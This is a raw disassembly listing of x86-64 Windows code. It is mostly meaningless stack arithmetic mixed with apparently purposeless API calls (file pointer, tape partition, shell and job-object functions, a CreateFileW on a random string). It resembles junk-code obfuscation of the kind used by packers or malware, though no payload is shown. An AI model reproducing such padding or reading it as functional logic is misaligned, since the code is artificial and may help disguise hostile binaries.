call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [0x14022bf38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7218]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e70]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2028]
mov rcx, qword [rsp + 0xbcb0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb68], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc9a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8290]
mov qword [rsp + 0xda38], rax
mov rax, qword [rsp + 0xc810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd578]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x312], al
mov eax, dword [rsp + 0x4768]
mov ecx, dword [rsp + 0x3b0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd028]
mov dword [rcx], eax
lea rax, [0x140229f48]
mov qword [rsp + 0xda40], rax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov word [0x14022c158], ax
movzx eax, word [rsp + 0x1e68]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xca00]
mov word [rcx], ax
mov rax, qword [rsp + 0x9f08]
movzx eax, byte [rax]
mov byte [rsp + 0x41c], al
mov eax, dword [rsp + 0x4ce4]
mov ecx, dword [rsp + 0x3a7c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0xc960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd410]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc800], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xfa28
mov rcx, qword [rsp + 0xbe10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4e1c], eax
mov rax, qword [rsp + 0xc070]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3da8]
shr eax, cl
mov dword [rsp + 0x39a4], eax
movsx eax, byte [rsp + 0x370]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x375], al
mov rax, qword [rsp + 0xa450]
mov qword [rsp + 0xda48], rax
mov rax, qword [0x14022b8b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xae58]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1fdc], ax
movzx eax, word [rsp + 0x20a0]
movzx ecx, word [rsp + 0xf68]
xor eax, ecx
mov word [0x14022c0b0], ax
mov rax, qword [0x14022be08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xd068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0xd240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd978]
mov word [rcx], ax
lea rdx, [rsp + 0x4e4c]
mov rcx, qword [rsp + 0xcf50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4a04], eax
mov rax, qword [0x14022a190]
mov qword [rsp + 0xda50], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x51cc
mov rcx, qword [rsp + 0xb350]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4cdc], eax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xd360]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x371]
and eax, ecx
mov byte [rsp + 0x3f4], al
mov rax, qword [rsp + 0xa250]
mov eax, dword [rax]
mov dword [rsp + 0x4e50], eax
mov rcx, qword [rsp + 0xae80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0xda58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 1
xor r8d, r8d
mov edx, 0xa76e
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x493c], eax
mov rax, qword [rsp + 0xc468]
mov rax, qword [rax]
mov rcx, qword [0x14022beb0]
mov qword [rsp + 0xda60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda60]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xaca0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1d60]
mov rcx, qword [rsp + 0x99f8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e08]
mov word [rcx], ax
mov rax, qword [rsp + 0xa418]
mov rcx, qword [rsp + 0x79a8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14022a210], rax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd378]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b8], al
mov rax, qword [rsp + 0xbc38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4890]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4750], eax
lea rax, [rsp + 0x219c]
mov qword [rsp + 0xda68], rax
mov rax, qword [rsp + 0xb720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
add eax, ecx
mov word [rsp + 0x1d1c], ax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xd370]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x124], al
mov rax, qword [rsp + 0xae50]
mov rax, qword [rax]
mov qword [rsp + 0xda70], rax
mov rax, qword [rsp + 0x9f60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa158]
mov qword [rsp + 0xda78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda78]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa210]
mov dword [rcx], eax
lea rax, [rsp + 0x206c]
mov qword [rsp + 0xda80], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [rsp + 0xb588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1874]
xor eax, ecx
mov word [0x140229f7c], ax
mov rax, qword [rsp + 0xba10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabe8]
mov qword [rsp + 0xda88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xda88]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9828], rax
mov rax, qword [rsp + 0xca68]
mov rcx, qword [0x14022b980]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc830]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb98]
mov rcx, qword [rsp + 0x9cd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x78a0], rax
mov rax, qword [rsp + 0xb5f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20bc], ax
lea rax, [rsp + 0xda48]
mov qword [rsp + 0xda90], rax
mov rax, qword [rsp + 0xb1b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x363]
sar eax, cl
mov rcx, qword [rsp + 0xa868]
mov byte [rcx], al
mov rax, qword [rsp + 0xa7c8]
mov ecx, dword [rsp + 0x4c78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3980], eax
mov eax, dword [rsp + 0x3b2c]
mov dword [rsp + 0x4e54], eax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb660]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9e10]
mov byte [rcx], al
mov rax, qword [rsp + 0xd998]
movzx eax, word [rax]
mov word [0x14022c15c], ax
mov rax, qword [0x14022beb8]
movzx eax, word [rax]
mov word [rsp + 0x2200], ax
movzx eax, word [rsp + 0x1c0c]
mov rcx, qword [rsp + 0xc678]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcdd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0x7498]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8258], rax
lea rdx, [rsp + 0x4d70]
mov rcx, qword [rsp + 0xb828]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4e58], eax
mov eax, dword [rsp + 0x3f48]
movzx ecx, al
mov eax, dword [0x14022bae4]
shl eax, cl
mov dword [rsp + 0x4bc8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xec35
mov rcx, qword [rsp + 0xbb70]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4990], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xbdb8]
mov rcx, qword [rsp + 0xd178]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x84a8], rax
mov rax, qword [rsp + 0xaa68]
movzx eax, byte [rax]
mov byte [rsp + 0x41d], al
mov rax, qword [0x14022b8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa510]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa1a8]
mov word [rcx], ax
lea rax, [rsp + 0x1f6c]
mov qword [rsp + 0xda98], rax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0x8258]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14022bca0]
mov qword [rcx], rax
mov rax, qword [0x14022bd70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov rax, qword [rsp + 0xa7f8]
mov rcx, qword [rsp + 0xbbd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba38], rax
lea rax, [0x14022a090]
mov qword [rsp + 0xdaa0], rax
mov rax, qword [rsp + 0xa3a0]
mov rcx, qword [rsp + 0xda00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b30], eax
lea rax, [rsp + 0x98]
mov qword [rsp + 0xdaa8], rax
mov eax, dword [rsp + 0x3c68]
mov ecx, dword [rsp + 0x3ea8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d2c], eax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3d4]
add eax, ecx
mov byte [rsp + 0x399], al
lea rax, [rsp + 0xca20]
mov qword [rsp + 0xdab0], rax
movzx eax, word [rsp + 0xb58]
mov word [0x14022c160], ax
mov rax, qword [rsp + 0xd100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x162c]
sar eax, cl
mov word [rsp + 0x207c], ax
mov rax, qword [rsp + 0xbd10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1598]
sub eax, ecx
mov word [rsp + 0x19ec], ax
movzx eax, word [rsp + 0x1c8c]
movzx ecx, word [rsp + 0x1ca4]
and eax, ecx
mov rcx, qword [rsp + 0xa4f0]
mov word [rcx], ax
xor edx, edx
mov eax, dword [rsp + 0x4b58]
mov ecx, 0x8a1
div ecx
mov dword [rsp + 0x48dc], eax
mov rax, qword [rsp + 0xac80]
mov rax, qword [rax]
mov qword [rsp + 0xdab8], rax
mov rax, qword [rsp + 0xb9e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x40c]
xor eax, ecx
mov byte [rsp + 0x3ce], al
mov rax, qword [rsp + 0xacd0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa950]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x189c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2839
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4b28], eax
movzx eax, word [rsp + 0x14c0]
mov rcx, qword [rsp + 0xd478]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xd6d0]
movzx ecx, al
mov rax, qword [rsp + 0xbb60]
sar rax, cl
mov qword [0x14022bf10], rax
lea rax, [rsp + 0x8bb0]
mov qword [rsp + 0xdac0], rax
lea rcx, [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xc620]
mov rcx, qword [0x14022c138]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd00], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xbb20]
mov rcx, qword [rsp + 0x80b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.pcSijHfQBt_tlmLhihSmcngDEG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdac8], rax
lea rax, [rsp + 0x87c]
mov qword [rsp + 0xdad0], rax
movzx eax, byte [rsp + 0x361]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
lea rax, [rsp + 0x4a94]
mov qword [rsp + 0xdad8], rax
mov rax, qword [rsp + 0xcae8]
mov ecx, dword [rsp + 0x4db4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b00], eax
mov rax, qword [0x14022bc38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xad18], rax
lea rax, [rsp + 0x387]
mov qword [0x14022c168], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
lea rax, [rsp + 0x1e50]
mov qword [rsp + 0xdae0], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x21e4]
and eax, ecx
mov rcx, qword [rsp + 0xa628]
mov word [rcx], ax
movzx eax, word [rsp + 0xb0c]
mov word [rsp + 0x2204], ax
mov rax, qword [rsp + 0xa560]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba38]
sar rax, cl
mov qword [rsp + 0xa9a8], rax
mov rax, qword [rsp + 0xb668]
mov ecx, dword [rsp + 0x4530]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x491c], eax
mov rax, qword [rsp + 0xb430]
movzx eax, byte [rax]
mov byte [rsp + 0x41e], al
lea rdx, [rsp + 0x4c90]
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0xb288]
mov rcx, qword [rsp + 0xbc30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1e10]
movsx ecx, word [0x14022a0ec]
and eax, ecx
mov word [rsp + 0xe88], ax
lea rax, [rsp + 0x2134]
mov qword [0x14022c170], rax
mov rax, qword [rsp + 0xbc70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd88]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc9f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2130]
mov qword [rsp + 0xdae8], rax
mov rax, qword [rsp + 0xa2c8]
mov rcx, qword [rsp + 0x9bb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4b80], eax
movzx eax, byte [rsp + 0x3b3]
movzx ecx, byte [rsp + 0x3ad]
shl eax, cl
mov byte [rsp + 0x38b], al
mov rax, qword [0x14022bc00]
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x460c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9998]
mov dword [rcx], eax
call fcn.14017d040
jmp 0x14017bab4
mov edx, dword [rsp + 0x46ac]
mov ecx, dword [rsp + 0x44e0]
call fcn.14017d0b0
lea rcx, [rsp + 0x1e7b0]
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [rsp + 0x4674], eax
mov rax, qword [rsp + 0x9788]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1c98]
movsx ecx, word [rsp + 0x1c94]
xor eax, ecx
mov word [0x140229f38], ax
jmp 0x14017bb42
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x1c9c]
mov rdx, qword [rsp + 0x9890]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jge 0x14017bb42
call fcn.14017d040
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x342]
and eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x8180]
mov rcx, qword [rsp + 0x98e0]
mov qword [rsp + 0x1e6d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e6d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7c50], rax
lea rcx, [rsp + 0x277]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [0x14022b838]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
lea rcx, [rsp + 0x1e830]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0x1e530], rax
movsx eax, word [rsp + 0x1c90]
movsx ecx, word [rsp + 0x1c9c]
shl eax, cl
mov rcx, qword [rsp + 0x9880]
mov word [rcx], ax
mov rax, qword [rsp + 0x96c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
or eax, ecx
mov rcx, qword [rsp + 0x9720]
mov word [rcx], ax
jmp 0x14017bc78
movsx eax, byte [rsp + 0x343]
mov rcx, qword [rsp + 0x9750]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9990]
mov qword [rsp + 0x1e6e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e6e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x9998]
mov ecx, dword [rsp + 0x4658]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x460c], eax
mov rax, qword [rsp + 0x97b8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rax]
call fcn.14017cfe0
lea rdx, [rsp + 0x4614]
mov rcx, qword [rsp + 0x1e6e8]
call qword [sym.imp.SHELL32.dll_DragQueryPoint]
mov dword [rsp + 0x6e9c], eax
mov rax, qword [rsp + 0x9668]
mov rcx, qword [rsp + 0x9898]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7dd0]
mov rcx, qword [rsp + 0x6fd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x343]
and eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9848]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
lea r9, [rsp + 0x9ab0]
lea r8, [rsp + 0x1e830]
mov edx, 0x4e
mov ecx, 0xf4
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9820]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c80], ax
mov rax, qword [rsp + 0x9710]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
jmp 0x14017bf5c
movzx eax, byte [rsp + 0x19f]
mov rcx, qword [rsp + 0x98f8]
movzx ecx, byte [rcx]
xor eax, ecx
movzx ecx, byte [rsp + 0xa9]
movzx edx, byte [rsp + 0x344]
add ecx, edx
cmp eax, ecx
je 0x14017be53
mov rax, qword [rsp + 0x9898]
mov rcx, qword [0x14022b840]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1ca0]
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1c94], ax
mov eax, dword [rsp + 0x4374]
mov rcx, qword [rsp + 0x98e8]
mov qword [rsp + 0x1e6f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e6f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x447c], eax
mov rax, qword [rsp + 0x9898]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rax]
call fcn.14017d120
jmp 0x14017bf5c
movsx eax, word [rsp + 0x1c84]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96a8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x1c90]
sub ecx, edx
cmp eax, ecx
jle 0x14017beea
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [rsp + 0x9758]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9878]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x342], al
lea rcx, [rsp + 0x447c]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x4704], eax
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rax]
call fcn.14017d190
jmp 0x14017bf5c
mov rax, qword [rsp + 0x98f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4630], eax
mov rax, qword [rsp + 0x9898]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8078]
sar rax, cl
mov rcx, qword [0x14022b840]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9788]
mov rdx, qword [rax]
mov ecx, dword [rsp + 0x4374]
call fcn.14017d120
mov rax, qword [rsp + 0x9990]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4374], eax
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [rsp + 0x9a00]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x99e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9880]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c88], ax
lea rcx, [rsp + 0x1e7f0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x9af8], rax
mov rax, qword [rsp + 0x9748]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c80]
and eax, ecx
mov word [0x14022b824], ax
mov rax, qword [0x140229f20]
mov rcx, qword [rsp + 0x82e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9668]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98c0]
mov qword [rsp + 0x1e6f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e6f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9660], rax
mov dword [rsp + 0x20], 0x82
lea r9, [rsp + 0x96f8]
mov r8, qword [rsp + 0x99d0]
mov rdx, qword [rsp + 0x9910]
mov rcx, qword [rsp + 0x9910]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6e9c], eax
jmp 0x14017c1a5
mov rax, qword [rsp + 0x9988]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9878]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x9650]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x14017c14e
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8078], rax
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILFindLastID
lea rax, [rsp + 0x82e8]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x9798]
mov r8d, 0x24
mov edx, reloc.SHELL32.dll_SHDoDragDrop
mov rcx, qword [rsp + 0x99a8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x46e0], eax
mov rax, qword [rsp + 0x97d8]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9800]
mov edx, dword [rax]
mov rax, qword [rsp + 0x99c8]
mov ecx, dword [rax]
call fcn.14017d0b0
jmp 0x14017c1a5
movsx eax, byte [rsp + 0x343]
mov rcx, qword [rsp + 0x99c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x96d8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x277]
add ecx, edx
cmp eax, ecx
jg 0x14017c1a5
mov rax, qword [rsp + 0x98e0]
mov rcx, qword [rsp + 0x97d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9710]
mov qword [rcx], rax
call fcn.14017d040
movzx eax, word [rsp + 0x1384]
movzx ecx, word [rsp + 0x1c80]
or eax, ecx
mov word [rsp + 0x1c7c], ax
mov r9d, 0x8f
mov r8, qword [rsp + 0x99d0]
lea rdx, [rsp + 0x96b8]
mov rcx, qword [rsp + 0x1e700]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x4704], eax
mov eax, dword [rsp + 0x4614]
mov rcx, qword [rsp + 0x97b8]
mov qword [rsp + 0x1e708], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1e708]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x343]
movsx ecx, byte [rsp + 0x186]
xor eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9670], rax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c94]
sar eax, cl
mov word [rsp + 0x1ca0], ax
mov rax, qword [rsp + 0x9720]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a90]
sub eax, ecx
mov word [0x140229f28], ax
jmp 0x14017c2d0
mov rax, qword [rsp + 0x96a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
sub eax, ecx
mov word [rsp + 0x1c9c], ax
movzx eax, word [rsp + 0x1384]
mov rcx, qword [rsp + 0x9748]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x99f8]
mov word [rcx], ax
call fcn.14017d040
movsx eax, byte [rsp + 0x186]
mov rcx, qword [rsp + 0x98b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x342], al
jmp 0x14017c3fd
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9890]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9848]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x1c98]
and ecx, edx
cmp eax, ecx
jge 0x14017c3fd
mov rax, qword [rsp + 0x9878]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97e8]
mov qword [rsp + 0x1e710], rcx
